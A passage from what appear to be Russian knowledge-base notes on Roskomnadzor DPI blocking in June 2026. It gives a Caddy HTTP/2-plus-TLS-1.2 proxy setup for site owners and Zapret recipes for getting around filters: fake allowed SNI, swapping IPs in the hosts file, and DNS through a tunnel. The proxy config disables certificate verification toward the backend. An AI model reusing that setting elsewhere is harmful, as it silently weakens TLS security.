[!warning] Тонкость: «HTTP/2 Only» требует модифицированного Caddy > **Стоковый Caddy не умеет полностью отключить HTTP/1.1** — это ограничение стандартной библиотеки Go (включение HTTP/2 неизбежно оставляет включённым и HTTP/1.1; открытый issue [caddy#7221](https://github.com/caddyserver/caddy/issues/7221)). Сервер всё равно анонсирует HTTP/1.1 в ALPN рядом с HTTP/2, и браузер технически может откатиться. Именно поэтому eByeBots использует **модифицированный (пропатченный) Caddy** — отсюда и название «HTTP/2 Only». На практике, впрочем, современные браузеры предпочитают HTTP/2, когда он предложен, так что даже приоритет h2 без жёсткого отключения h1 заметно снижает число рукопожатий; для гарантированного результата нужен пропатченный Caddy или другой сервер, умеющий не анонсировать h1. > [!note] Связь с полной моделью триггера > Вторая статья eByeBots подаёт причину упрощённо — «всплеск TLS-соединений → бан IP». Полная модель (по реверс-инжинирингу @hyperion_cs) точнее: блок — это **И-цепочка из трёх условий**, и HTTP/2 ломает именно **третье** из них (частоту новых TLS-сессий), чего достаточно, чтобы вся цепочка не сработала. Разбор всех трёх условий и точных порогов — в [[DPI/tspu-false-blocks-june-2026|обзорной заметке]]. ## Почему именно TLS 1.2, а не более новый TLS 1.3 Это контринтуитивный момент: TLS 1.3 современнее и безопаснее, но через ТСПУ хуже проходит **именно из-за этого**. - **TLS 1.3 — для ТСПУ «слишком новое».** Важная оговорка: вопреки расхожей формулировке eByeBots про «чёрную коробку», в стандартном TLS 1.3 (без расширения ECH) `ClientHello` и **SNI** всё ещё передаются **открыто** — отпечаток **JA3/JA4 (стандартные хэши параметров TLS-рукопожатия, по которым опознают браузер)** из них по-прежнему вычислим. Что 1.3 реально прячет — это **сертификат сервера** и часть ответных расширений (они шифруются сразу после обмена ключами). Но для ТСПУ важнее другое: сам факт TLS 1.3 плюс структура его рукопожатия — маркер «современного, непривычного» трафика, который фильтр **давит превентивно**, когда он идёт огромными объёмами (терабайтами) на популярные хостинги. - **TLS 1.2 — «свой, привычный».** В TLS 1.2 в открытом виде передаётся не только SNI, но и **сертификат сервера**, и всё соединение выглядит как «старый добрый HTTPS». ТСПУ распознаёт привычные маркеры и пропускает пакеты. > [!warning] Это осознанный компромисс > Откат на TLS 1.2 — шаг **назад** по приватности рукопожатия: в открытом виде оказывается сертификат сервера (в TLS 1.3 он зашифрован), и теряются прочие улучшения 1.3. Для публичного сайта это обычно приемлемо (контент и так открыт), но понимать цену стоит: вы делаете трафик **намеренно более прозрачным** для цензора, чтобы он счёл его «легитимным». Это противоположность стратегии обходных средств, которые, наоборот, прячут почерк. ## Как настроить reverse-proxy (каркас) Идея: между пользователем и вашим бэкендом ставится прокси на **Caddy**, который принимает соединения **по HTTP/2 + TLS 1.2**, а внутрь проксирует на реальный IP сайта. ТСПУ видит спокойное одиночное соединение к прокси. - [ ] **На бэкенде — отключить принудительный редирект HTTP→HTTPS.** Иначе между прокси и бэкендом возникает петля редиректов и ошибка **502**. Связь прокси ↔ бэкенд идёт по самоподписанному сертификату. - [ ] **Сгенерировать самоподписанный сертификат** на прокси-сервере, например: ```bash openssl req -x509 -nodes -days 3650 -newkey rsa:2048 \ -keyout /etc/caddy/my_private.key \ -out /etc/caddy/my_selfsigned.crt ``` - [ ] **Зажать протоколы в `Caddyfile`.** Важно: список версий HTTP в Caddy задаётся **глобально** (в блоке `servers`), а не внутри блока сайта; ограничение версии TLS — директивой `tls` внутри блока сайта. Иллюстративный каркас (псевдоконфиг — точный синтаксис и подводные камни сверяйте с актуальной документацией Caddy и первоисточником): ```caddyfile { servers { protocols h2 # оставить только HTTP/2; внимание: стоковый Caddy всё равно не убирает h1 из ALPN (ограничение Go, caddy#7221) — полный HTTP/2 Only требует пропатченного Caddy. h2c (HTTP/2 без TLS) для TLS-сайта не нужен. } } your-domain.ru { tls /etc/caddy/my_selfsigned.crt /etc/caddy/my_private.key { protocols tls1.2 tls1.2 # порядок аргументов: минимум, затем максимум — оба зажаты на TLS 1.2 } reverse_proxy https://РЕАЛЬНЫЙ_IP_БЭКЕНДА { transport http { tls_insecure_skip_verify # бэкенд по самоподписанному серту } } } ``` - [ ] **Перенаправить A-записи домена** на IP прокси-сервера (желательно в локации/подсети, не попавшей под фильтр). - [ ] **Проверить результат:** `curl -Iv https://your-domain.ru` — в выводе должно быть `HTTP/2` и `TLS 1.2`. ## Альтернативы без своего прокси - **Официальный «белый список» (для юрлиц и ИП — индивидуальных предпринимателей).** Подать заявку хостеру (например, Selectel) на внесение ваших подсетей в официальные белые списки РКН. Надёжно, но требует времени и обоснований. - **Миграция на «чистый» хостинг.** Переехать туда, чьи IP ТСПУ пока не трогает (например, у REG.RU большинство IP в белых списках). - **Клиентский фикс (для пользователя, не владельца).** Сменить TLS-отпечаток в браузере — открыть сайт в Firefox или включить флаг Chrome, см. [[DPI/chrome-cnsa-flag-bypass|приём с флагом cryptography-compliance-cnsa]]. Это лечит другое условие триггера (отпечаток), а не частоту. Среди трёх вариантов eByeBots #2 этого пункта нет — он из общей трёхфакторной модели. ## Оговорки: когда HTTP/2 + TLS 1.2 не спасёт > [!warning] Границы применимости > - Решение ломает условие **«всплеск TLS-соединений»**. Если ваш сайт режется по **другому** признаку — например, по TLS-отпечатку (часть сайтов не открывается только в Chrome/Edge) — HTTP/2 не поможет, нужен фикс отпечатка. > - Параметры фильтра **меняются**. То, что проходит сегодня, может попасть под правило завтра; «лимит ~3 соединения» и «120 секунд» — наблюдения, а не гарантированные константы. > - `HTTP/2 Only` без анонса HTTP/1.1 в ALPN может отрезать совсем старые клиенты, не умеющие HTTP/2 (на практике их почти нет). > - Это **возврат доступности**, а не «обход блокировки»: приём работает именно потому, что сайт легальный и его не нужно прятать — наоборот, его делают максимально «обычным» для DPI. ## Источники | Источник | Дата | Что отсюда взято | |---|---|---| | [eByeBots — «Как спасти свой сайт… HTTP/2 Only и TLS 1.2»](https://ebyebots.ru/blog/kak-spasti-svoj-sajt-ot-lozhnyh-blokirovok-tspu-rkn-2026-god/) | 10 июня 2026 | Связка HTTP/2 Only + TLS 1.2, почему TLS 1.2 «читаем» для ТСПУ, список пострадавших хостеров и REG.RU как исключение, эмпирика с прокси, алгоритм настройки (отключить HTTP→HTTPS-редирект, самоподписанный серт через `openssl req -x509`, Caddyfile с h2+tls1.2, A-записи). | | [Хабр articles/1045684 — починка блокировки сайта ТСПУ, реальный кейс](https://habr.com/ru/articles/1045684/) | июнь 2026 | Готовый минимальный конфиг Caddy и проверка `curl -Iv`. | | [eByeBots — технический разбор «Июньской блокировки 2026»](https://ebyebots.ru/blog/kak-tspu-roskomnadzora-lomaet-legitimnye-sajty-i-servery-v-iyune-2026-goda-tehnicheskij-razbor/) | 7 июня 2026 | Полная трёхфакторная модель триггера, в которую HTTP/2-фикс встроен как слом условия «частота». | ## 📚 См. также - [[DPI/tspu-false-blocks-june-2026|Как ТСПУ ломает легитимные сайты: «Июньская блокировка 2026»]] — обзор: что это за блокировка, И-триггер из трёх условий, диагностика и полный список фиксов. **Эта заметка — детализация одного из них.** - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY: схема июня 2026]] — тот же триггер со стороны обходных средств; почему там, наоборот, прячут TLS-отпечаток. - [[DPI/chrome-cnsa-flag-bypass|Обход блокировки флагом Chrome cryptography-compliance-cnsa]] — клиентский фикс через смену TLS-отпечатка (другое условие триггера). - [[DPI/browser-ja4-fingerprint-block|Блокировка сайта по JA4-отпечатку браузера]] — случай, когда сайт режется именно по отпечатку, а не по частоте. --- --- date: 2026-06-23 tags: - dpi - rkn - cloudflare - whitelist - zapret - troubleshooting - incident link: aliases: - Инцидент ТСПУ 23 июня 2026 - Белые списки Cloudflare июнь 2026 - Ужесточение фильтрации Cloudflare 2026 - Что сломалось 23 июня 2026 --- # 🧱 Инцидент 23 июня 2026 (не работает Дискорд, Твич заблокировали): при обновлении ТСПУ слетели «белые списки» Cloudflare *Twitch и Discord не работают в России их заблокировали в интернете обход блокировок Запрет 2* > [!info] О чём заметка > Хроника и разбор волны изменений в блокировках Рунета **23 июня 2026**: в этот день у многих разом «поплыли» давно рабочие настройки обхода, часть ранее закрытых сайтов внезапно открылась, а часть рабочих — наоборот, отвалилась. Ниже — что именно наблюдали, какова рабочая гипотеза о причине, и **как чинить** каждый из симптомов. Сам механизм (почему ТСПУ режут облачные подсети по белому списку, а Discord и Twitch — лишь сопутствующие жертвы) вынесен в отдельную заметку [[subnet-whitelist-blocking-2026|Блок подсетей Cloudflare и Amazon по белому списку]]. Общий чек-лист диагностики «не работает» — в [[zapret_not_working|Что делать, если Запрет не работает]]; почему «Запрет сломался» — это почти всегда симптом смены DPI, а не поломки программы — в [[symptom-not-cause|Почему «не работает» — это симптом, а не причина]]. > [!warning] Статус данных: наблюдения сообщества, часть изменений откатили > Почти все факты ниже — **сообщения пользователей из разных сетей и регионов** за 23 июня 2026 (в т.ч. из [Канала для умных манулов (@nerdpapers)](https://t.me/nerdpapers/3220)), а не результат контролируемого замера. ТСПУ (Технические Средства Противодействия Угрозам — российские системы DPI) настраиваются неравномерно по операторам и регионам, поэтому у вас картина может отличаться. Главное: **часть изменений в тот же день откатили назад** — значит, это была, скорее всего, раскатка/тест новой конфигурации, а не финальное состояние. Воспринимайте заметку как снимок волатильной ситуации на конкретную дату, а не как описание устоявшегося режима блокировок. ## TL;DR - В ночь на 23 июня 2026, по версии сообщества, обновление ТСПУ прошло со сбоем: **списки исключений из «16к-блока» Cloudflare слетели** — и под ковровый блок разом попало всё, что раньше из него было выведено. - Из-за этого у многих **одновременно отвалились давно рабочие настройки** и доступ к ресурсам, которые годами открывались нормально; характерный пример — Amazon: ранее разрешённые исключения «сбросились». - Пока списки перетряхивало, картина была противоречивой: часть закрытых ранее ресурсов **временно открылась** (`fandom.com`, `di.fm`), а часть рабочих обходов — наоборот, отвалилась (отпали фейки/SNI под Cloudflare). - К моменту записи РКН **часть блоков откатили** — восстанавливают исключения, — поэтому состояние нестабильно и меняется по ходу. - Параллельно — точечные доработки по сервисам (Twitch снова режет HLS-видео) и DNS-проблемы у мобильных операторов (сторонний DoH перестал работать в ряде регионов). - Чинится по-разному и **зависит от типа блока**: сначала отличите IP-блок от DPI-блока, дальше — конкретный рецепт (см. ниже). > [!example] На пальцах: «белый список» вахтёра на проходной > Представьте проходную, где вахтёр пускает не «всех, кроме чёрного списка», а наоборот — **только тех, кто в белом списке**, а всех остальных разворачивает «ковром», не разбираясь. Так устроен «ковровый блок» на диапазонах Cloudflare: под одним IP-диапазоном живут тысячи сайтов, и ТСПУ пропускает лишь явно разрешённые, а прочие рубит «до кучи» — даже если конкретного сайта нет в чёрном списке РКН. 23 июня 2026 вахтёру **переписали белый список**: кого-то в него добавили (сайт внезапно заработал), кого-то проверять стали строже (рабочий пропуск-«фейк» перестал срабатывать). ## Что наблюдали 23 июня 2026 ### Downdetector: синхронный всплеск жалоб в ночь на 23 июня То, что сломалось не у одного сервиса, а у многих сразу, хорошо видно по агрегаторам сбоев. Жалобы на совершенно несвязанные между собой сервисы — онлайн-игру PUBG, стриминг Twitch, мессенджер Discord — **скачком выросли около 01:00 МСК 23 июня 2026** и дали второй «горб» днём. Синхронный всплеск у независимых друг от друга сервисов указывает не на аварию у каждого по отдельности, а на **общее событие в сети** — обновление ТСПУ. Пример для PUBG (за сутки — около 2.6 тыс. жалоб): ![[detector404-pubg-23june2026.png]] Графики Twitch и Discord с тем же ночным пиком — в посвящённых им разделах ниже ([[tspu-whitelist-cloudflare-june-2026#🎮 Twitch: снова не грузит видео|Twitch]], [[tspu-whitelist-cloudflare-june-2026#💬 Discord: отвалились чаты и картинки|Discord]]). ### Главное: при обновлении ТСПУ слетели списки исключений Ведущая в сообществе версия событий проще, чем «вручную переписали белый список»: обновление ТСПУ прошло **со сбоем, и списки исключений из «16к-блока» слетели целиком**. Чтобы понять, почему от этого ломается сразу всё, нужно держать в голове, как устроен ковровый блок Cloudflare. «16к-блок» работает не как чёрный список («режем вот эти сайты»), а как **белый**: на «подозрительных» диапазонах Cloudflare по умолчанию рубится **всё**, а наружу пропускают лишь то, что явно внесено в **список исключений** (allowlist). Под этим списком держится огромная масса нормально работающих ресурсов — их специально вывели из-под коврового блока, чтобы они открывались. Поэтому стоит **этому списку исчезнуть** — и ковровый блок мгновенно накрывает всех, кто им прикрывался: ресурсы, которые годами работали без всякого обхода, разом перестают открываться. Именно такую картину и описывают: массовый одновременный отказ давно рабочих вещей у разных людей и операторов, без единого «нового» запрета конкретных сайтов. Это куда лучше объясняется **сбросом исключений при кривом обновлении**, чем адресной блокировкой каждого ресурса по отдельности. Дальше РКН начал **откатывать** изменения — восстанавливать исключения, — отсюда и «часть блоков уже откатили». Пока откат идёт, состояние списков противоречиво: что-то уже вернули, что-то ещё под ковром, а что-то по ошибке оказалось разрешено шире обычного. > [!warning] Это реконструкция по симптомам, а не подтверждённый факт > Версию «обновление слетело и снесло исключения» сообщество выводит из косвенных признаков (массовость, одновременность, быстрый частичный откат), а не из официальных данных или прямого доступа к конфигурации ТСПУ. Внутреннее устройство «16к-блока» и точная причина сбоя публично не подтверждены. Поэтому относитесь к разделу как к наиболее правдоподобному объяснению на 23 июня 2026, а не как к доказанному механизму. ### Два видимых эффекта перетряски списков На поверхности сброс и последующий откат исключений выглядели как **два разнонаправленных изменения сразу**: 1. **Часть ресурсов оказалась временно разрешена шире обычного** — и открылась без всякого обхода. По сообщениям, во время перетряски списков «отпустило» `fandom.com` и `di.fm`, которые с января 2026 не открывались без Zapret из-за коврового блока на Cloudflare (правда, заработали они не полностью — связанные `audioaddict.com` и `nocookie.net` в исключения, видимо, занести забыли). На сайте Duolingo (`duolingo.com`) перестали грузиться скрипты с `d35aaqx5ub95lt.cloudfront.net`, пока этот домен **не убрали** из хостлиста заблокированных — он, похоже, оказался разрешён, и Zapret стал лишь мешать (об этом — в разделе про починку). Тем же `d35aaqx5ub95lt.cloudfront.net`, по сообщению одного из пользователей, удалось «прикрыть» доступ к твичевскому `ttvnw.net` — т.е. использовать уже разрешённый домен как фейк. 2. **Часть рабочих обходов, наоборот, отвалилась** — по сообщениям, «отвалились некоторые рабочие фейки и SNI»: стратегии, которые подсовывали поддельное имя сайта (SNI) в [[desync|дурение]], перестали проходить. На проводном **Tele2 (РТК), Москва** разом перестали работать стратегии против «16к-блока», стабильно работавшие **полгода**. Это согласуется со слетевшими исключениями: пока списки не восстановили, под ковёр попало и то, что раньше из-под него выводилось, и часть прежних настроек просто потеряла смысл. > [!note] Что такое «16к-блок» (он же ковровый блок Cloudflare) > «16к-блок» — народное название в сообществе для коврового блока на диапазонах Cloudflare, при котором соединение к «неразрешённому» ресурсу обрывается. Точный внутренний механизм и происхождение названия публично не подтверждены, поэтому здесь термин используется как ярлык наблюдаемого поведения, а не как описание устройства фильтра. Практически важно одно: под этот блок попадают сайты, которых **нет даже в чёрном списке РКН** — их рубит «за компанию», просто потому что они на «подозрительном» хостере и не попали в белый список. ### «Сброс» ранее разрешённых исключений Отдельно отмечают эффект, будто у DPI **сбросились правила для ранее разрешённых ресурсов** — в частности, для Amazon. То, что операторы вручную загоняли в исключения, из исключений пропало, и трафик снова стал фильтроваться. Это согласуется с версией про переписанный белый список: при раскатке новой конфигурации часть ручных «прощений» могла не перенестись. ### Кратковременный IP-блок CDN при раскатке В момент обновления ТСПУ ряд пользователей словил **полное пропадание пинга** до подсетей сразу нескольких CDN/хостеров: Amazon, Cloudflare, Hetzner, Melbicom, Oracle, Zenlayer. Вскоре доступность вернулась — то есть это был **временный IP-блок на время раскатки апдейта**, а не постоянное состояние. Важно не путать его с DPI-блоком: пока пинга и TCP-коннекта нет вообще, никакой Zapret не поможет (см. [[zapret_not_working#2. Тип блокировки определяет эффективность|про типы блокировок]]). Отдельные сервисы, которые пострадали заметнее всего, разобраны ниже в своих разделах: [[tspu-whitelist-cloudflare-june-2026#🎮 Twitch: снова не грузит видео|Twitch]] и [[tspu-whitelist-cloudflare-june-2026#💬 Discord: отвалились чаты и картинки|Discord]]. ### DNS-проблемы у мобильных операторов - **Оренбургская область, Мегафон** (несколько дней к 23 июня 2026): перестали работать сторонние DNS-серверы — Cloudflare, Google, AdGuard и прочие. Если выставить приватный DNS в телефоне или браузере (DNS-over-HTTPS/TLS), интернета «просто нет». То есть оператор вынуждает пользоваться своим DNS, через который удобнее фильтровать. - **Продолжение этой линии — 3 июля 2026:** у ряда операторов по всей стране заблокировали по TCP (DoH/DoT) сам адрес Google DNS **8.8.8.8** (8.8.4.4 при этом работал), из-за чего массово «отвалились» VPN-клиенты с этим резолвером в конфиге. Разбор — в [[DPI/google-dns-8888-block-july-2026|Инцидент 3 июля 2026: блокировка 8.8.8.8]]. - **Мегафон, Северо-Запад** (несколько дней): по IPv6 перестали работать «белые» (легитимные) SNI на Cloudflare; пинг до IP Cloudflare (и IPv4, и IPv6) возвращает лишь часть пакетов — похоже на частичный фильтр, а не полный блок. ### Не только Cloudflare: под ковёр попадает инфраструктура разработчиков на других хостерах Cloudflare — самый заметный, но не единственный пострадавший хостер: ковровые блоки целыми диапазонами задевают и инфраструктуру разработчиков/Linux, которой «не повезло» жить на «подозрительном» хостинге. Сами эти ресурсы нейтральны и в чёрные списки РКН по содержанию не попадают — их рубит **за компанию**, просто за диапазон хостера. По сообщениям: - **`linuxcontainers.org` (проект Incus)** — инфраструктура размещена на DigitalOcean и заблокирована «без разбора»; теперь без обхода не скачать даже образы контейнеров. - **`flathub.org`** (каталог приложений Flatpak для Linux) и **`deb.debian.org`** (зеркало репозиториев Debian) — оба живут на CDN Fastly, по ним периодически прилетает блок. Что именно служит триггером — выяснить не удалось, блок непостоянный. - **`7tv.app` / `7tv.io` / `api.7tv.app`** (эмоуты для Twitch, хостинг Hetzner) — заблокированы 3 из 4 IP (`95.217.169.88` и `95.217.169.233` полностью, на `65.109.41.220` не проходит ClientHello). По QUIC у части людей работает. Рецепт обхода (подмена IP + «белый» SNI) — в [[subnet-whitelist-blocking-2026#Что с этим делать (обход)|концептуальной заметке]]. - **`chat.deepseek.com`** — наглядный пример «кривой привязки» белого списка: РКН разрешил его, похоже, **только для старого Cloudflare**, а на актуальном Amazon — нет. Разбор — в [[subnet-whitelist-blocking-2026#Тонкость: белый список привязан к провайдеру и устаревает|концептуальной заметке]]. - Начало — примерно **конец мая 2026**. Ещё раньше, в **марте и начале апреля 2026**, периодический блок ловили на `openstreetmap.org` — он, по наблюдениям, периодически резолвится на `151.101.1.55` (Fastly), который в блоке, отсюда «то работает, то нет». > [!note] Почему «лечится как Cloudflare» работает не всегда > Для CDN с anycast-маршрутизацией (Fastly, как и Cloudflare) приём с подменой IP на чистый адрес того же CDN в принципе применим. А вот для обычного хостинга-VPS без anycast (DigitalOcean — это аренда серверов, а не CDN) подменять адрес не на что: у ресурса свой конкретный IP, и если режут именно его диапазон, помогает уже не Zapret и не правка hosts, а **туннель** (VPN/прокси). Это та же развилка «IP-блок против DPI-блока», что и в [[tspu-whitelist-cloudflare-june-2026#Как это чинить|разделе про починку]]. ### Прочее - Десктоп-клиент Spotify, по сообщению, перестал проигрывать песни без обхода — звук затыкается на 5-й секунде, при этом браузерный и Android-клиенты работали штатно. Позже сообщили, что **откатили**. - Трекеры: анонсер `bt.tracktor.in` забанили **по IP**, из-за чего на торрентах ЛостФильма обезлюдело — особенно на старых private-раздачах, где другого анонсера нет (без рабочего анонсера пиры не находят друг друга). - Утром 23 июня в Москве, по сообщениям, отвалился не только Twitch, но и доступ к `x.com` / `twimg.com` (картинки Twitter/X) — вместе с очередным отвалом стратегий против «16к-блока». Twitter/X и SoundCloud, по другим сообщениям, отваливались и раньше, ещё до этой волны. - По характеру это, как описывают, «стандартный блок на Ревизоре, как и на YouTube» — то есть штатный механизм ТСПУ (АС «Ревизор» — система мониторинга РКН, следящая за исполнением блокировок операторами), а не какая-то новая, отдельная технология. Меняется не способ блокировки, а **что** под неё попадает. ## Рабочая гипотеза о причине > [!important] Коротко: при обновлении ТСПУ слетели исключения из коврового блока, дальше — частичный откат > Складывая наблюдения, наиболее правдоподобная картина такая: в ночь на 23 июня 2026 обновление ТСПУ прошло криво и **обнулило списки исключений из «16к-блока» Cloudflare**, из-за чего ковровый блок разом накрыл массу ранее работавших ресурсов; следом РКН начал **откатывать** изменения и восстанавливать исключения. Видимые «добавили в белый список» (что-то открылось) и «ужесточили SNI» (что-то отвалилось) — это две стороны одной перетряски списков, а не отдельные осмысленные правки. Это **реконструкция по косвенным признакам**, а не подтверждённый официально факт; часть изменений в тот же день откатили. Близкий по времени разбор ужесточения DPI против TLS-обходов (VLESS+REALITY) — в [[VLESS/dpi-tls-june-2026|«Как DPI замораживает VLESS+REALITY»]]. ### Наглядный тест: два слоя блокировки на одном Cloudflare Один из пользователей продемонстрировал, что на Cloudflare работают **два разных слоя** блокировки. Тест (воспроизведение на свой риск, результат зависит от вашего ТСПУ): 1. Открыть `wiki.cavesofqud.com` (Cloudflare) **без Zapret** → ловится «16к-блок». Домена нет ни в белом, ни в чёрном списке — он закрыт **просто ковровым блоком** на диапазоне Cloudflare. 2. Запустить Zapret с обычным `multisplit` по [[ipset|ipset]] с адресами Cloudflare, а в качестве [[desync|фейка]] подсунуть имя живого разрешённого домена (в тесте — `stackoverflow.org`) → `wiki.cavesofqud.com` **открывается**. То есть ковровый слой обходится дурением. 3. Открыть `4chan.org` (тоже Cloudflare) той же стратегией из п.2 → снова «16к-блок». Причина другая: **IP «плохой»**, потому что 4chan попал в чёрный список РКН ещё до эпохи блокировок целыми автономными системами (AS), и его конкретные адреса режут адресно. 4. Подменить в [[Что такое файл hosts|hosts]] адрес `4chan.org` на IP его же nameserver'ов Cloudflare (`rita.ns.cloudflare.com`, `rick.ns.cloudflare.com`) → теперь 4chan **открывается** с той же стратегией из п.2. Вывод из теста: «ковровый» слой (за то, что ресурс на Cloudflare и не в белом списке) снимается дурением с фейком от разрешённого домена, а **адресный** слой (конкретный IP в чёрном списке) — только подменой IP на чистый адрес из того же диапазона Cloudflare. По сообщению автора теста, к моменту публикации это поведение **уже откатили**. ## Как это чинить > [!tip] Сначала определите тип блока — это решает всё > Прежде чем подбирать стратегию, отделите **IP-блок** от **DPI-блока**, иначе будете чинить не то. Проверка простая: попробуйте установить TCP-соединение к IP ресурса на 443 порт (например, `ncat -z -w 2 443`, либо просто пинг). Соединение **вообще не устанавливается** (нет ответа / RST на SYN) → это IP-блок, и Zapret здесь бессилен — нужен туннель (VPN/прокси) или подмена IP на чистый (см. ниже). Соединение **устанавливается, но страница не грузится / рвётся** → это DPI-блок по содержимому, вот тут Zapret и работает. Подробнее про различие — в [[zapret_not_working#2. Тип блокировки определяет эффективность|«Тип блокировки определяет эффективность»]]. ### 1. Ресурс внезапно заработал без Zapret → уберите его из хостлиста Если сайт после 23 июня 2026 **открывается без обхода** (его добавили в белый список), а с Zapret — наоборот ломается, значит дурение ему больше не нужно и только мешает: фейковые пакеты доходят до настоящего сервера, тот считает их мусором и рвёт связь. - [ ] Уберите домены этого ресурса из [[hostlist|хостлиста]] заблокированных (пример из инцидента: `d35aaqx5ub95lt.cloudfront.net` пришлось убрать, чтобы на Duolingo снова грузились скрипты). - [ ] Либо назначьте профилю стратегию-исключение `--lua-desync=pass` («ничего не делать, пропустить как есть») — см. [[profile#Профиль-исключение: pass|про профиль-исключение]]. Почему так — подробно в [[zapret_not_working|стандартной процедуре]]: первый шаг диагностики всегда «а работает ли без Zapret». ### 2. Ковровый «16к-блок» на Cloudflare → multisplit по ipset + фейк от разрешённого домена Для сайта, который закрыт **только ковровым блоком** (он на Cloudflare, не в белом списке, но и не в чёрном): - [ ] Включите профиль с `multisplit` по [[ipset|ipset]] с диапазонами Cloudflare (чтобы стратегия применялась ко всему трафику на адреса Cloudflare, а не к одному домену). - [ ] В параметрах [[desync|фейка]] подставьте имя **живого разрешённого** домена (в тесте сработал `stackoverflow.org`). Идея: DPI видит «хороший» SNI и пропускает соединение. Это снимает именно ковровый слой. Если после этого ресурс всё равно даёт «16к-блок» — вероятно, дело уже не в ковровом слое, а в адресном (пункт 3). ### 3. IP «плохой» (адрес в чёрном списке) → подмена IP на чистый адрес того же Cloudflare Если конкретный IP ресурса режут адресно (ресурс давно в чёрном списке РКН), стратегия не поможет — нужно сменить адрес назначения на **другой живой IP из диапазона Cloudflare**, который под адресный блок не попал. Это возможно благодаря тому, что Cloudflare — anycast-сеть: она маршрутизирует запрос к нужному сайту **по имени (SNI/Host), а не по тому, на какой именно её IP вы постучались**. Значит, можно подключиться к любому рабочему адресу Cloudflare и всё равно попасть на свой сайт. Рецепт через файл [[Что такое файл hosts|hosts]]: - [ ] Узнайте живой IP другого сайта на Cloudflare (или IP nameserver'ов нужного сайта). - [ ] Пропишите в `hosts` строку вида «чистый IP → нужный домен». Примеры из инцидента: - Rutracker: `172.66.159.63 rutracker.net` (IP, относящийся к `4pda.to`, тоже на Cloudflare), затем сбросить кеш DNS. - 4chan: подменить `4chan.org` на IP его nameserver'ов `rita.ns.cloudflare.com` / `rick.ns.cloudflare.com`. - [ ] Сбросьте кеш DNS и перезапустите браузер. > [!warning] У трюка с подменой IP есть пределы > Подмена IP внутри Cloudflare работает, **пока** блок именно адресный (режут конкретный IP), а сам диапазон Cloudflare не вырезан целиком и фильтрация не идёт **по SNI**. Если ТСПУ начнёт резать по имени сайта (`SNI=rutracker.net`) или закроет весь диапазон — приём перестанет помогать, и подмена IP уже ничего не даст. Для ресурсов с **единственным** IP на «узком» CDN (как сообщали про `linkedin.com` — другой CDN, по сути один адрес) подменять не на что, поэтому этот метод к ним неприменим. ### 4. Мобильный DNS не работает (Мегафон, Оренбург и др.) → DNS через туннель Если оператор режет сторонние DoH/DoT-резолверы (Cloudflare, Google, AdGuard) и без них «интернета нет», то проблема не в Zapret — фильтруется сам DNS: - [ ] Как временный костыль — вернуть системный/провайдерский DNS, чтобы вернуть связь. - [ ] Для приватности и обхода — пускать DNS **через туннель** (VPN/прокси), где оператор не видит и не режет запросы. Локальный обход вроде Zapret эту конкретную проблему не закрывает. ### 5. Стратегии «полгода работали и отвалились» → это сменился DPI, а не сломался Zapret Массовый отвал давно рабочих стратегий (как на Tele2 в Москве) — это не поломка программы, а **изменение DPI у провайдера**: прежний фейк/SNI стал «видимым». Лечится подбором новой стратегии профилю, а не переустановкой. Почему «не работает» — это симптом смены DPI, подробно в [[symptom-not-cause|Почему «не работает» — это симптом, а не причина]]; пошаговый подбор — в [[zapret_not_working|Что делать, если Запрет не работает]]. > [!danger] Не делайте поспешных выводов на волатильной раскатке > Когда изменения раскатывают и в тот же день частично откатывают, легко «зафиксировать» как рабочий рецепт то, что назавтра перестанет работать (или, наоборот, заработает само). Прежде чем перестраивать все настройки — проверьте, не вернулось ли всё на место само. Адресная подмена IP и фейки от чужих доменов — это **хрупкие приёмы под конкретное состояние ТСПУ**, а не стабильное решение. ## 🎮 Twitch: снова не грузит видео В ночь на 23 июня 2026 у Twitch опять сломалась загрузка видео: при просмотре стримов сыпется ошибка `CONNECTION_RESET` на HLS-фрагментах (домен раздачи видео `cloudfront.hls.ttvnw.net` / `ttvnw.net` на инфраструктуре Amazon CloudFront). По данным агрегатора сбоев, жалобы на Twitch скачком выросли около 01:00 МСК — синхронно с обновлением ТСПУ: ![[detector404-twitch-23june2026.png]] Важно: похоже, **Twitch не был целью** — его видеодомен попал под раздачу, когда блокировали облачные подсети Amazon. То есть это **сопутствующая жертва**, а не адресный запрет (механизм — в [[subnet-whitelist-blocking-2026|заметке про блок подсетей по белому списку]]). Характерная подпись: **сайт и чат работают, а плеер не грузит** — значит, дело именно в видеодомене. > [!tip] Коротко о починке (полный разбор — в отдельной заметке) > Базовое решение — **вернуть видеодомен из исключений в обрабатываемые**: удалить `ttvnw.net` из `list-exclude` и добавить его в `list-general` (или `list-general-user`), затем подобрать стратегию. История Twitch тянется ещё с конца апреля 2026 (вместе с Reddit), решений накопилось несколько и они противоречивы — всё систематизировано в отдельной заметке **[[twitch-block-2026|Блокировка Twitch в России (2026): почему не грузится плеер и как починить]]**. ## 💬 Discord: отвалились чаты и картинки Той же ночью у Discord сломались **текстовые чаты и загрузка картинок**: сообщения не отправляются и не подгружаются, изображения не открываются. На графике сбоев жалобы на Discord так же резко подскочили около 01:00 МСК 23 июня 2026 (за сутки — около 5.1 тыс. жалоб): ![[detector404-discord-23june2026.png]] > [!tip] Картинки Discord чинятся отдельным профилем > Изображения в Discord грузятся со своего CDN, и под них в пресете выделен **отдельный профиль — `discord (images)`**. Поэтому ситуация «текст ходит, а картинки не грузятся» (или наоборот) — нормальна: подбирать стратегию нужно именно профилю картинок, а не общему `discord.com`. Найдите профиль `discord (images)` на вкладке «Профили пресета» и перебирайте стратегию у него отдельно. > > ![[discord-images-profile-gui.png]] **Как чинить (порядок важен):** 1. **Сначала чините сайт `discord.com`** — приложение не починится, пока не открывается сайт. Подбирайте стратегию профилю Discord (категория Discord TCP). 2. **Картинки — отдельно**, профилю `discord (images)` (см. callout выше). 3. **Голос/звонки — это ещё один профиль** (`discord.media` / «Голосовые звонки»); вдобавок голосу часто нужна рабочая стратегия для профиля IPset Cloudflare. Подробный пошаговый разбор починки Discord (сайт → приложение → обновления → голос, с нюансами по ошибкам `Checking for updates` и `RTC`) — в [[zapret_not_working#Как починить приложение Дискорд:|разделе «Как починить Дискорд»]]. ## 🐙 GitHub: блок IP-адресов `githubusercontent.com` С середины июня 2026 (по сообщениям — «уже больше недели») ловится блок на адреса GitHub, с которых отдаются аватары, сырые файлы и вложения: `avatars.githubusercontent.com`, `raw.githubusercontent.com` и прочие `*.githubusercontent.com`. Характер блока нетипичный, и его важно правильно прочитать: - IP (например, `185.199.110.133`) **пингуется**, трассировка проходит **до конца** — маршрут до сервера есть. - А вот сами HTTPS-запросы **не проходят** — 